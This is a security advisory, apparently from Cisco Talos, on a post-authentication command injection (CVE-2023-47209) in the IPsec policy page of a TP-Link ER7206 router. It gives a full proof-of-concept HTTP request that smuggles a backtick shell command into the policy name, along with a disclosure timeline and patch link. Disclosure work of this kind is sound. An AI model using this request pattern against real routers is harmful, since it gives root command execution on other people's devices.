CVE-2023-47209
A post authentication command injection vulnerability exists in the ipsec policy functionality of Tp-Link ER7206 Omada Gigabit VPN Router 1.3.0 build 20230322 Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection. An attacker can make an authenticated HTTP request to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Tp-Link ER7206 Omada Gigabit VPN Router 1.3.0 build 20230322 Rel.70591
ER7206 Omada Gigabit VPN Router - https://www.tp-link.com/us/business-networking/vpn-router/er7206/
7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
The ER7206 Omada Gigabit VPN Router is a high-performance networking solution that supports gigabit connectivity, highly secure VPN and integration with Omada SDN for centralized cloud management and zero-touch provisioning.
The ER7206 Omada Gigabit VPN Router runs various services to manage the router or devices connected to the router. One such service is uhttpd
which runs on port 80/443. It gives users a web interface to configure and manage the router. By default, the service runs as a root user. An attacker can gain root access to the device by exploiting this service.
A command injection vulnerability exists in the uhttpd
service when an ipsec policy is added to the device. In the web interface, the ipsec policy page can be accessed by navigating to VPN
-> IPsec
-> IPsec Policy
. It contains features to add, edit and delete ipsec policy. When an ipsec policy is added, it triggers the following HTTP Post request:
POST /cgi-bin/luci/;stok=9eacef02f3e8cc3fd8246df6d1dee30a/admin/ipsec?form=conn HTTP/1.1
Host: 192.168.8.100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1247
Origin: http://192.168.8.100
Connection: close
Referer: http://192.168.8.100/webpages/index.html
Cookie: sysauth=da038b8836818e85aacd2b342f6a7f36
data=%7B%22method%22%3A%22add%22%2C%22params%22%3A%7B%22index%22%3A2%2C%22old%22%3A%22add%22%2C%22new%22%3A%7B%22name%22%3A%22AAAA`/usr/bin/id>/tmp/attack_test`%22%2C%22pmode%22%3A%22LAN-to-LAN%22%2C%22remote_peer%22%3A%22%22%2C%22local_binding%22%3A%22WAN1%22%2C%22networktype%22%3A%22local_network%22%2C%22local_network%22%3A%22LAN%22%2C%22remote_network%22%3A%22192.144.25.0%2F24%22%2C%22negotiation_strategy%22%3A%22%22%2C%22psk%22%3A%22CCCCCCCCCCCCCC%22%2C%22status%22%3A%22on%22%2C%22ike_version%22%3A%22ikev2%22%2C%22ike_proposal_1%22%3A%22sha1-aes256-modp1024%22%2C%22ike_proposal_2%22%3A%22---%22%2C%22ike_proposal_3%22%3A%22---%22%2C%22ike_proposal_4%22%3A%22---%22%2C%22exchange_mode%22%3A%22main%22%2C%22connection_type%22%3A%22initiator%22%2C%22config_mode%22%3A%22disable%22%2C%22local_id_type%22%3A%22IP_ADDRESS%22%2C%22remote_id_type%22%3A%22IP_ADDRESS%22%2C%22ikelifetime%22%3A%2228800%22%2C%22dpd_enable%22%3A%22enable%22%2C%22dpd_interval%22%3A%2210%22%2C%22mode%22%3A%22tunnel%22%2C%22ph2_proposal_1%22%3A%22esp-sha1-aes256%22%2C%22ph2_proposal_2%22%3A%22---%22%2C%22ph2_proposal_3%22%3A%22---%22%2C%22ph2_proposal_4%22%3A%22---%22%2C%22pfs%22%3A%22none%22%2C%22lifetime%22%3A%2228800%22%7D%2C%22key%22%3A%22add%22%7D%7D
The name of the policy is vulnerable to the command injection vulnerbaility. It is used as an argument to a shell command without any sanitization. An attacker, by including shell metacharacters in the name
parameter, can manipulate the executed command and introduce unauthorized commands, which leads to the command injection vulnerability.
Even though administrative access is required to trigger this vulnerability, it can be used to acquire an unrestricted shell access to the device.
The vendor released a new firmware available at: https://www.tp-link.com/us/support/download/er7206/v1/#Firmware
2023-12-04 - Initial Vendor Contact
2023-12-05 - Vendor Disclosure
2024-02-01 - Vendor Patch Release
2024-02-06 - Public Release
Discovered by the Vulnerability Discovery and Research team of Cisco Talos.